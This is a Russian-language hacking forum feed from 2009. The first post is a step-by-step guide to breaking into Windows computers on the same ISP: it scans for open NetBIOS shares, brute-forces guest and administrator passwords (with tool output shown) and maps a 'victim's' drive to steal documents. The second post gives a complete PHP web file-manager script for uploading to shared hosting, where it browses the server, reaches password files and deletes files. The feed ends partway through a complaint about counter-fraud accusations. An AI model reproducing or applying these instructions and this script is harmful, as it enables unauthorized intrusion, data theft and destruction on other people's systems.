<p>Взлом удаленного компьютера через интернет Конечно да!!! По многочисленным просьбам в письмах я решился написать эту статью лично, ввиду отсутствия квалифицированных ответов в Интернет (личные наблюдения). Постараюсь объяснить как это сделать так сказать &quot;на пальцах&quot;, насколько у меня это получится - не знаю поскольку все это постигал сам... Прежде всего мой совет: <br />Установите на свой компьютер Windows 2k <br />Скачайте и установите на свой компьютер сканер Essential Net Tools v3.0<br />Скачайте и установите на свой компьютер HakTek v1.1 <br />IMPORTANT!!! Не забывайте включить протокол Net BEUI и Доступ к файлам и принтерам сети Microsoft!! В Windows 2000 это делается только в свойствах соединения, а в 9х его еще нужно поставить в свойствах сети! Ну, пожалуй для начала взлома удаленного компьютера этого вполне достаточно. Хотя нет, скачайте с сайта <a href="http://www.pysoft.com/" rel="nofollow" target="_blank">http://www.pysoft.com/</a> звонилку Advanced Dialer, ну этого должно хватить... Теперь некоторые объяснения предыдущих действий: <br />Для чего нам Windows 2k? Да очень просто - по моим наблюдениям все сканеры лучше и корректнее работают под 2000, кроме этого когда вы нашли потенциальную жертву вам нужно изменить вашу рабочую группу на группу установленную на компьютере жертвы в Windows 2000 это делается так: правая кнопка мыши на &gt;Мой компьютер&gt; выбираем &gt;Сетевая идентификация &gt;Свойства, в нижней части там где написано &quot;Является членом:&quot; должна стоять галочка &quot;Рабочей группы&quot; вы пишите нужное вам имя рабочей группы, нажимаете &quot;ОК&quot; и вам высвечивается приветствие &quot;Добро пожаловать в рабочую группу такую-то&quot;, вы нажимаете кнопочку &quot;ОК&quot; и вам предлагается перезагрузить компьютер для вступления в силу изменений, в этот момент вы должны не нажать кнопочку &quot;ОК&quot;, как ранее, а просто закрыть окошко, теперь вам просто нужно нажать &quot;ОК&quot; на &quot;Свойствах системы&quot; и опять вас предупредят о том что нужно перезагрузить компьютер, на что вы должны категорично ответить &quot;НЕТ&quot;. Поздравляю - изменения вступили - таки в силу без всяких там перезагрузок. В этом еще одна изюминка Windows 2000, поскольку в системах &quot;для домохозяек&quot;, а именно 9х, Ме изменения вступают только после перезагрузки! А это все время: время на перезагрузку, на подключение к интернет - в результате вполне возможно, что когда вы подключитесь к интернет после перезагрузки жертвы уже там не будет. Экономьте время!!! Зачем жен нам Essential NetTools v3.0? Как было сказано выше - это сканер (более подробное описание вы сможете найти на страничке скачивания), нам же достаточно знать что он позволяет сканировать диапазон IP-адресов на расшаренные ресурсы, и выборочный адрес на шары (расшаренные, шары - ресурсы доступные пользователям рабочей группы, а следовательно и вам!), а также, что тоже немаловажно!, подбирать пароли доступа (не думайте что это такая уж быстрая процедура, но, как правило, в большинстве случаев лица с расшаренными ресурсами - это либо ломаки, либо лица чересчур самоуверенные, либо секретарши на фирмах (кстати почему бы им всем не подумать о безопасности?) у которых пароль подбирается буквально с первой - второй попытки:-))) Кроме того, она позволяет подключать эти самые шары к вашему компьютеру без головной боли (но эта процедура итак не очень утомительная). Ну вроде по этому поводу - все.... HakTek v1.1 - в принципе особой необходимости в этой программе нет, но все-равно рекомендую скачать - мне больше всего нравится Finger Session. Вобщем - читайте описание на страничке скачивания. Зачем нам Advanced Dialer? Вроде бы простая звонилка... Но у нее есть одна хорошая черта. Вы хотите иметь пароли пользователей вашего провайдера? Тогда ставьте Advanced Dialer ибо он при подключении показывает и ваш IP-адрес и, что самое главное, IP-адрес сервера провайдера к которому вы подключены (так же как и многие другие пользователи!!!;-))) - вот это главное! </p> <p>Ну, предположим, что вы выполнили все рекомендации. Теперь начнем работу на примере кражи документов с диска С компьютера подключенного к тому же провайдеру что и вы: Подключаемся к интернет при помощи Advanced Dialer и смотрим IP-адрес сервера провайдера (как правило он никогда не изменяется, так что смело можете записывать его на бумажку), допустим 194.153.128.132 - реальный IP-адрес провайдера ZEOS Запускаем Essential NetTools v3.0 и выбираем NBScan, там вводим начальный IP-адрес для сканирования &quot;Starting IP adress&quot; (в нашем случае пусть это будет например 194.153.128.0) и конечный IP-адрес &quot;Ending IP adress&quot; (в нашем случае это пусть будет 194.153.128.255) После того как процесс сканирования окончен мы увидим примерно следующее: NAME WORKGROUP RS IP Adress MAC Adress <br />Legioner Legion666 Yes 194.153.128.15 это нас не интересует <br />Vovan Workgroup No 194.153.128.19 это нас не интересует <br />Dmitriy Venera Yes 194.153.128.21 это нас не интересует <br />Sinelnikov Claus Yes 194.153.128.32 это нас не интересует <br />Kinder Troja Yes 194.153.128.43 это нас не интересует <br />Sky Circus Yes 194.153.128.47 это нас не интересует <br />Trishka Killers No 194.153.128.64 это нас не интересует <br />Judge Dred No 194.153.128.69 это нас не интересует </p> <p>4. Мы видим имена, рабочие группы, RS - расшаренные ресурсы, IP-адреса, адреса МАК компьютеров с NetBios Sessions (то есть с открытым 139 - м портом) Кстати не забудьте включить у себя NetBios - иначе ничего не будет, также для личной безопасности сделайте все диски и принтеры локальными (защитите их от чтения и записи). Нам нужны только: рабочая группа, RS, IP-адреса. Если RS - No - об этом компьютере можно сразу забыть. Если же -Yes, то можно попробовать подключится к нему. Для этого: <br />Включаем NAT <br />Вводим адрес IP - например 194.153.128.15 и нажимаем &quot;SCAN&quot; <br />Теперь немного подождем... <br />Что мы видим: <br />* Checking 194.153.128.47 ...<br />* Obtained NetBIOS name table:<br />SKY &lt;00&gt;<br />SKY &lt;20&gt;<br />CIRCUS &lt;00&gt;<br />SKY &lt;03&gt;<br />CIRCUS &lt;1E&gt;<br />DAN &lt;03&gt;<br />CIRCUS &lt;1D&gt;<br />..__MSBROWSE__. &lt;01&gt;<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;&quot;: failed - начало подбора пароля<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;ADMINISTRATOR&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;GUEST&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;ROOT&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;ADMIN&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;PASSWORD&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;TEMP&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;SHARE&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;WRITE&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;FULL&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;BOTH&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;READ&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;FILES&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;DEMO&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;TEST&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;ACCESS&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;USER&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;BACKUP&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;SYSTEM&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;SERVER&quot;: failed<br />* Trying username &quot;ADMINISTRATOR&quot;, password &quot;LOCAL&quot;: failed<br />* Trying username &quot;GUEST&quot;, password &quot;&quot;: failed<br />* Trying username &quot;GUEST&quot;, password &quot;ADMINISTRATOR&quot;: failed<br />* Trying username &quot;GUEST&quot;, password &quot;GUEST&quot;: succeeded - пароль успешно подобран<br />* Obtained share list: - список возможных доступных ресурсов<br />IPC$ Remote IPC<br />E$ Default share<br />D$ Default share<br />C<br />ADMIN$ Remote Admin<br />C$ Default share<br />* Obtained server information:<br />Server=[SKY] User=[] Workgroup=[SKYGROUP] Domain=[]<br />* Checking share E$: access denied - доступ запрещен<br />* Checking share D$: access denied - доступ запрещен<br />* Checking share C: read-write access - доступ разрешен для чтения-записи<br />* Checking share ADMIN$: access denied<br />* Checking share C$: access denied<br />* Finished checking 194.153.128.47 </p> <p>Ну вот мы и нашли подходящую жертву! Как видно из списка, мы можем подключиться к диску С (разрешен доступ для чтения и записи), то есть мы можем записывать жертве на диск, стирать с его диска, копировать с его диска!<br />Теперь нам нужно подключить удаленный компьютер. В этом нет ничего сложного. Для этого нам нужно изменить рабочую группу согласно вышеописанному способу. В Essential NetTools открыть NBScan и выделить потенциальную &quot;жертву&quot;, в нашем случае это Sky с рабочей группой Circus и IP-адресом 194.153.128.47, нажать правую кнопку мышки и выбрать в контекстном меню &quot;Open computer&quot;. В ответ откроется стандартное окно Windows где будет присутствовать диск &quot;С&quot;. Наводим на этот самый диск &quot;С&quot; нажимаем правую кнопку мыши и в контекстном меню выбираем &quot;Подключить сетевой диск&quot;, когда главный каталог будет считан мы можем начинать &quot;лазить&quot;, а точнее сказать &quot;ползать&quot; по диску &quot;С&quot; удаленного компьютера с адресом 194.153.128.47, делать это можно при помощи стандартного &quot;Проводника&quot;, Windows Commander и других программ. Дерзайте!</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:59:37 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=32#p32 http://hackzona.youbb.ru/viewtopic.php?pid=31#p31 <p>Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов: <br />&lt;?php //говорим что это PHP скрипт <br />function cmp( $a, $b ) //обьявляем функции<br />{ <br />GLOBAL $sort; //сортируем полученные функции </p> <p>if( $a-&gt;inode == $b-&gt;inode ) <br />return 0; </p> <p>switch( $sort ) //объявляем , что по каким функциям будет сортироваться <br />{ <br />case &quot;size&quot;: <br />return ($a-&gt;size &gt; $b-&gt;size) ? -1 : 1; <br />case &quot;type&quot;: <br />return strcmp($a-&gt;type, $b-&gt;type); <br />case &quot;view&quot;: <br />return strcmp($a-&gt;view, $b-&gt;view); <br />case &quot;atime&quot;: <br />return ($a-&gt;atime &gt; $b-&gt;atime) ? -1 : 1; <br />case &quot;ctime&quot;: <br />return ($a-&gt;ctime &gt; $b-&gt;ctime) ? -1 : 1; <br />case &quot;mtime&quot;: <br />return ($a-&gt;mtime &gt; $b-&gt;mtime) ? -1 : 1; <br />case &quot;group&quot;: <br />return strcmp($a-&gt;group, $b-&gt;group); <br />case &quot;inode&quot;: <br />return ($a-&gt;inode &gt; $b-&gt;inode) ? -1 : 1; <br />case &quot;owner&quot;: <br />return strcmp($a-&gt;owner, $b-&gt;owner); <br />case &quot;perms&quot;: <br />return ($a-&gt;perms &gt; $b-&gt;perms) ? -1 : 1; <br />case &quot;ext&quot;: <br />return strcmp($a-&gt;ext, $b-&gt;ext); <br />case &quot;name&quot;: <br />default: <br />return 1; <br />} <br />} </p> <p>function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла <br />{ <br />switch( $ext ) <br />{ <br />case &quot;dir&quot;: <br />$file = &quot;dir&quot;; <br />break; <br />case &quot;link&quot;: <br />$file = &quot;link&quot;; <br />break; <br />case &quot;zip&quot;: <br />case &quot;tgz&quot;: <br />case &quot;gz&quot;: <br />case &quot;Z&quot;: <br />$file = &quot;compressed&quot;; <br />break; <br />case &quot;gif&quot;:<br />case &quot;jpg&quot;: <br />$file = &quot;image2&quot;; <br />break; <br />case &quot;dvi&quot;: <br />$file = &quot;dvi&quot;; <br />break; <br />case &quot;&quot;: <br />case &quot;exe&quot;: <br />$file = &quot;binary&quot;; <br />break; <br />case &quot;sh&quot;: <br />case &quot;php&quot;: <br />case &quot;php3&quot;: <br />case &quot;sql&quot;: <br />case &quot;inc&quot;: <br />case &quot;js&quot;: <br />$file = &quot;script&quot;; <br />break; <br />case &quot;txt&quot;:<br />$file = &quot;text&quot;;<br />break; <br />case &quot;html&quot;: <br />case &quot;shtml&quot;: <br />case &quot;phtml&quot;: <br />$file = &quot;world1&quot;; <br />break; <br />default: <br />$file = &quot;generic&quot;; <br />break; <br />} </p> <p>return $IMG=&quot;&lt;IMG SRC='icons/&quot;.$file.&quot;.gif'&gt;&quot;; <br />} </p> <p>class MyFile { //объявляем какие данные будут получены <br />var $name; <br />var $path; <br />var $type; <br />var $ext; <br />var $stype; <br />var $sfile; <br />var $size; <br />var $file; <br />var $atime; <br />var $ctime; <br />var $mtime; <br />var $group; <br />var $inode; <br />var $owner; <br />var $perms; </p> <p>function set( $filename, $path ) <br />{ <br />GLOBAL $cd; //объявляем функции перехода по каталогам </p> <p>$this-&gt;name = $filename; <br />$this-&gt;path = $path; <br />$this-&gt;file = $this-&gt;path.&quot;/&quot;.$this-&gt;name; </p> <p>$this-&gt;type = filetype( $this-&gt;file ); <br />$this-&gt;size = filesize( $this-&gt;file ); <br />$this-&gt;atime = fileatime( $this-&gt;file ); <br />$this-&gt;ctime = filectime( $this-&gt;file ); <br />$this-&gt;mtime = filemtime( $this-&gt;file ); <br />$this-&gt;group = filegroup( $this-&gt;file ); <br />$this-&gt;inode = fileinode( $this-&gt;file ); <br />$this-&gt;owner = fileowner( $this-&gt;file ); <br />$this-&gt;perms = fileperms( $this-&gt;file ); </p> <p>switch( $this-&gt;type ) <br />{ <br />case &quot;link&quot;: <br />$this-&gt;sfile = readlink( $this-&gt;file ); <br />$this-&gt;stype = filetype( $this-&gt;sfile ); <br />$this-&gt;ext = &quot;link&quot;; <br />break; <br />case &quot;file&quot;: <br />$list = explode( &quot;.&quot;, $this-&gt;name ); <br />$nb = sizeof( $list ); <br />if( $nb &gt; 0 ) <br />$this-&gt;stype = $list[$nb-1]; <br />else <br />$this-&gt;stype = &quot;???&quot;; </p> <p>$this-&gt;ext = $this-&gt;stype; </p> <p>switch( $this-&gt;stype ) <br />{ <br />case &quot;gif&quot;: <br />case &quot;GIF&quot;: <br />case &quot;jpg&quot;: <br />case &quot;JPG&quot;: <br />if( isset( $cd ) ) <br />$pwd = $cd.&quot;/&quot;; <br />else <br />$pwd = &quot;&quot;; </p> <p>$this-&gt;sfile = &quot;&lt;IMG SRC='&quot;.$this-&gt;file.&quot;'&gt;&quot;; <br />break; <br />default: <br />$this-&gt;sfile = $this-&gt;stype; <br />break; <br />} <br />break;<br />default: <br />$this-&gt;stype = &quot;&quot;; <br />$this-&gt;sfile = &quot;&quot;; <br />$this-&gt;ext = $this-&gt;type; <br />break; <br />} <br />} </p> <p>function formatSize() <br />{ <br />return number_format( $this-&gt;size, 0, &quot;.&quot;, &quot; &quot;); <br />} <br />} </p> <p>function genUrl( $ref, $args, $key = &quot;&quot;, $val = &quot;&quot; )</p> <p>{ <br />$valist = &quot;&quot;; </p> <p>reset( $args ); </p> <p>if( $key != &quot;&quot; ) <br />$args[ &quot;$key&quot; ] = $val; </p> <p>if( !is_array( $args ) ) <br />return $ref; </p> <p>while( list( $key, $val ) = each( $args ) ) <br />{ <br />if( $val == &quot;&quot; ) <br />continue; </p> <p>if( $valist == &quot;&quot; ) <br />$valist .= &quot;?&quot;; <br />else <br />$valist .= &quot;&amp;&quot;; </p> <p>$valist .= $key.&quot;=&quot;.$val; <br />} <br />return $ref.$valist; <br />} </p> <p>function updir( $path ) <br />{ <br />$last = strrchr( $path, &quot;/&quot; ); <br />$n1 = strlen( $last ); <br />$n2 = strlen( $path ); <br />return substr( $path, 0, $n2-$n1 ); <br />} </p> <p>$ref = &quot;dir.php&quot;; </p> <p>if( isset( $cd ) ) <br />{ <br />$path = $cd; <br />//$lcd = &quot;?cd=$cd'&quot;; <br />$args[ &quot;cd&quot; ] = $cd; <br />} <br />else <br />{ <br />$path = &quot;.&quot;; <br />//$lcd = &quot;&quot;; <br />$args[ &quot;cd&quot; ] = &quot;&quot;; <br />} </p> <p>if( isset( $nb ) ) <br />{ <br />for( $i = 0; $i &lt; $nb; $i++ ) <br />{ <br />$var = &quot;id_$i&quot;; <br />if( isset( $$var ) )<br />{ <br />$file = $path.&quot;/&quot;.$$var; <br />if( is_file( $file ) || is_link( $file ) ) <br />{ <br />if( unlink( $file ) ) <br />echo &quot;&lt;BR&gt;&lt;b&gt;$file&lt;/b&gt; успешно удалён\n&quot;; //сообщение об успешном удалении файла <br />else <br />echo &quot;&lt;BR&gt;Не могу удалить выставите права доступа &lt;b&gt;$file&lt;/b&gt;\n&quot;; //сообщение о невозможности удалить файл который доступен только для чтения <br />} <br />elseif( is_dir( $file ) ) <br />{ <br />if( rmdir( $file ) ) <br />echo &quot;&lt;BR&gt;&lt;b&gt;$file&lt;/b&gt; успешно удалён\n&quot;; //сообщение об успешном удалении <br />else <br />echo &quot;&lt;BR&gt;файл недоступен для удаления&lt;b&gt;$file&lt;/b&gt;\n&quot;; //сообщение о невозможности удалить файл <br />} <br />} <br />} <br />} </p> <p>$step = 100; </p> <p>if( !isset( $sort ) ) <br />$sort = &quot;name&quot;; <br />else <br />$args[ &quot;sort&quot; ] = $sort; </p> <p>if( !isset( $from ) ) <br />$from = 0; <br />else <br />$args[ &quot;from&quot; ] = $from; </p> <p>if( !isset( $to ) ) <br />$to = $from + $step; </p> <p>$d = dir($path); <br />echo &quot;\n&quot;; <br />echo &quot;&lt;br&gt;&lt;a href=$ref &gt;Вернуться в начало&lt;/a&gt;\n&quot;; //ссылка на возврат в домашнею директорию скрипта <br />$updir = updir($d-&gt;path); <br />if( $updir != &quot;.&quot; ) <br />echo &quot;&lt;br&gt;Подняться на директорию вверх; &lt;a href=$ref?cd=$updir&gt;$updir&lt;/a&gt;\n&quot;; //ссылка на директорию вверх <br />echo &quot;&lt;br&gt;Открыть директорию: &lt;a href=$ref?cd=&quot;.$d-&gt;path.&quot;/..&gt;..&lt;/a&gt;\n&quot;; //обновление текущей директории <br />echo &quot;&lt;br&gt;Текущая директория: &lt;b&gt;&quot;.$d-&gt;path.&quot;&lt;/b&gt;\n&quot;; //показываем путь до директории и файлов, которые в ней находятся </p> <p>$n = 0; <br />while( $entry=$d-&gt;read() ) <br />{ <br />$lFiles[ $n ] = new MyFile; <br />$lFiles[ $n ]-&gt;set( $entry, $path ); <br />$n++; <br />} </p> <p>$d-&gt;close(); //создаём HTML форму управления функциями <br />echo &quot;&lt;FORM NAME='del' METHOD='post' ACTION='&quot;.genUrl( $ref, $args ).&quot;'&gt;\n&quot;; <br />echo &quot;&lt;TABLE BORDER=1&gt;\n&quot;; <br />echo &quot;&lt;TR&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;D&lt;/TH&gt;\n&quot;; <br />//echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;type&quot; ).&quot;'&gt;Type&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;name&quot; ).&quot;'&gt;Имя&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;size&quot; ).&quot;'&gt;Размер&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;ext&quot; ).&quot;'&gt;Класс&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;atime&quot; ).&quot;'&gt;В системе&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;ctime&quot; ).&quot;'&gt;Создан&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;mtime&quot; ).&quot;'&gt;Изменён&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;perms&quot; ).&quot;'&gt;Размер&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;group&quot; ).&quot;'&gt;Группа&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;owner&quot; ).&quot;'&gt;ow&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;&lt;a href='&quot;.genUrl( $ref, $args, &quot;sort&quot;, &quot;inode&quot; ).&quot;'&gt;in&lt;/a&gt;&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;TH&gt;Показ&lt;/TH&gt;\n&quot;; <br />echo &quot;&lt;/TR&gt;\n&quot;; </p> <p>@usort( $lFiles, cmp ); </p> <p>for( $i = 0; $i &lt; $n; $i++ ) <br />{ <br />if( ( $i &lt; $from ) || ( $i &gt;= $to ) ) <br />continue; </p> <p>$k = $i; <br />echo &quot;&lt;TR&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&lt;INPUT TYPE='checkbox' NAME='id_$k' VALUE='&quot;. <br />$lFiles[ $k ]-&gt;name <br />.&quot;'&gt;&lt;/TD&gt;\n&quot;; </p> <p>$IMG=getIcons( $lFiles[ $k ]-&gt;ext ); </p> <p>$dform = &quot;M j y H:i&quot;; <br />// echo &quot;&lt;TD ALIGN=CENTER &gt;&quot;.$lFiles[ $k ]-&gt;type.&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;$IMG&quot;.$lFiles[ $k ]-&gt;name.&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD ALIGN=RIGHT &gt;&quot;.$lFiles[ $k ]-&gt;formatSize().&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;ext .&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.date( $dform, $lFiles[ $k ]-&gt;atime ).&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.date( $dform, $lFiles[ $k ]-&gt;ctime ).&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.date( $dform, $lFiles[ $k ]-&gt;mtime ).&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;perms.&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;group.&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;owner.&quot;&lt;/TD&gt;\n&quot;; <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;inode.&quot;&lt;/TD&gt;\n&quot;; </p> <p>switch( $lFiles[ $k ]-&gt;type ) <br />{ <br />case &quot;link&quot;: <br />if( $lFiles[ $k ]-&gt;stype == &quot;dir&quot; ) <br />{ <br />$tcd = $lFiles[ $k ]-&gt;path.&quot;/&quot;.$lFiles[ $k ]-&gt;name; <br />echo &quot;&lt;TD&gt;&lt;a href='&quot;. <br />genUrl( $ref, $args, &quot;cd&quot;, $tcd ).&quot;'&gt;&quot;. <br />$lFiles[ $k ]-&gt;sfile.&quot;&lt;/a&gt;&lt;/TD&gt;\n&quot;; <br />} <br />else <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;sfile.&quot;&lt;/TD&gt;\n&quot;; <br />break; <br />case &quot;dir&quot;:<br />$tcd = $lFiles[ $k ]-&gt;path.&quot;/&quot;.$lFiles[ $k ]-&gt;name; <br />echo &quot;&lt;TD&gt;&lt;a href='&quot;. <br />genUrl( $ref, $args, &quot;cd&quot;, $tcd ).&quot;'&gt;&quot;. <br />$lFiles[ $k ]-&gt;name.&quot;&lt;/a&gt;&lt;/TD&gt;\n&quot;; <br />break; <br />case &quot;file&quot;: <br />echo &quot;&lt;TD&gt;&quot;.$lFiles[ $k ]-&gt;sfile.&quot;&lt;/TD&gt;\n&quot;; <br />break; <br />default: <br />echo &quot;&lt;TD&gt;NO&lt;/TD&gt;\n&quot;; <br />break; <br />} <br />echo &quot;&lt;/TR&gt;\n&quot;; <br />} </p> <p>echo &quot;&lt;/TABLE&gt;\n&quot;; </p> <p>$from = $from - $step; <br />if( isset( $cd ) ) <br />{ <br />echo &quot;&lt;INPUT TYPE='hidden' NAME='cd' VALUE='$cd'&gt;\n&quot;; <br />} <br />echo &quot;&lt;INPUT TYPE='hidden' NAME='nb' VALUE='$n'&gt;\n&quot;; </p> <p>//echo &quot;&lt;br&gt;from=$from;to=$to;n=$n\n&quot;; <br />echo &quot;&lt;br&gt;\n&quot;; <br />if( $from &gt;= 0 ) <br />{ <br />echo &quot;&lt;a href='&quot;. <br />genUrl( $ref, $args, &quot;from&quot;, $from ).&quot;' &gt;Предыдущий&lt;/a&gt;/\n&quot;; <br />} <br />if( $to &lt;= $n ) <br />{ <br />echo &quot;&lt;a href='&quot;. <br />genUrl( $ref, $args, &quot;from&quot;, $to ).&quot;' &gt;Далее&lt;/a&gt; \n&quot;; <br />} <br />echo &quot;&lt;br&gt;\n&quot;; <br />echo &quot;&lt;INPUT TYPE='submit' VALUE='Del'&gt;\n&quot;; <br />echo &quot;&lt;/FORM&gt;\n&quot;; <br />?&gt; //говорим что PHP скрипт кончился</p> <p>Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку &quot;Подняться на каталог выше&quot; до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку &quot;Подняться на каталог вверх&quot;, скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.</p> mybb@mybb.ru (admin) Wed, 05 Aug 2009 13:55:23 +0400 http://hackzona.youbb.ru/viewtopic.php?pid=31#p31 http://hackzona.youbb.ru/viewtopic.php?pid=30#p30 <p>Накрутка счетчика - мошенничество, целью которого является <br />завладение денежными средствами рекламодателя посредством создания <br />иллюзии популярности интернет-ресурса и основанное на доверии <br />рекламодателя к рейтинговым системам.<br />Почему я это публикую<br />26 апреля 2002 года я обнаружил, что на Mail.ru вместо нормальной <br />статистики ресурса, над которым я работаю, появилось сообщение <br />&quot;Ресурс не участвует в рейтинге. Причина: накрутка счетчика&quot; <br />(выделено мной). Естественно, я сразу же посылаю письмо по <br />указанному адресу с просьбой дать объяснения, жду час, другой, сутки <br />- нет ответа. Посылаю письмо с запросом квитка, снова терпеливо жду <br />несколько часов и ни квитка, ни ответа. Тогда нахожу адреса других <br />служб Mail.ru и повторяю письмо с просьбой передать его <br />&quot;рейтингистам&quot;. В письме я просил объясниться и представить мне <br />доказательства мошенничества, поскольку обвинение лица в <br />мошенничестве без достаточных на то оснований в средстве массовой <br />информации, может быть расценено лицом, как распространение <br />средством массовой информации ложных сведений (измышлений) о лице с <br />целью нанесения лицу публичного оскорбления. <br />Наконец-то был получен первый ответ. Но, что ни контакт с Mail.ru, <br />то либо оскорбление, либо на грани этого. Задержка ответа более чем <br />на сутки вкупе с отсутствием квитка может означать, что письмо, не <br />прочитав, просто выбросили в корзину. Да и сам ответ оставляет <br />желать лучшего, поскольку мне ставили в вину то, что в момент <br />регистрации ресурса на Mail.ru (в то время еще List.ru) персонал <br />Mail.ru мне не предложил код java-счетчика. В ответе я довел до <br />сведения модератора свою трактовку кривой посещаемости и попросил <br />выслать мне код необходимого java-счетчика. <br />Второй ответ был не менее неубедительный - &quot;я так считаю&quot; и <br />&quot;поставьте java-счетчик&quot;. Только после нескольких просьб мне выслали <br />код счетчика, но так и не восстановили статус ресурса. Модераторы <br />Mail.ru проявляли странное упорство. Тогда я звоню по указанному в <br />одном из писем телефону и мне наглым тоном заявляют: &quot;А что Вы <br />хотите? Счетчик бесплатный, имеем полное право&quot;. <br />И тогда я понял, что это не глупость и не ошибка, а вымогательство <br />денег из персонала ресурса с высоким рейтингом (мол, рейтинг <br />высокий, а счетчик бесплатный, но если заплатите, то проблем 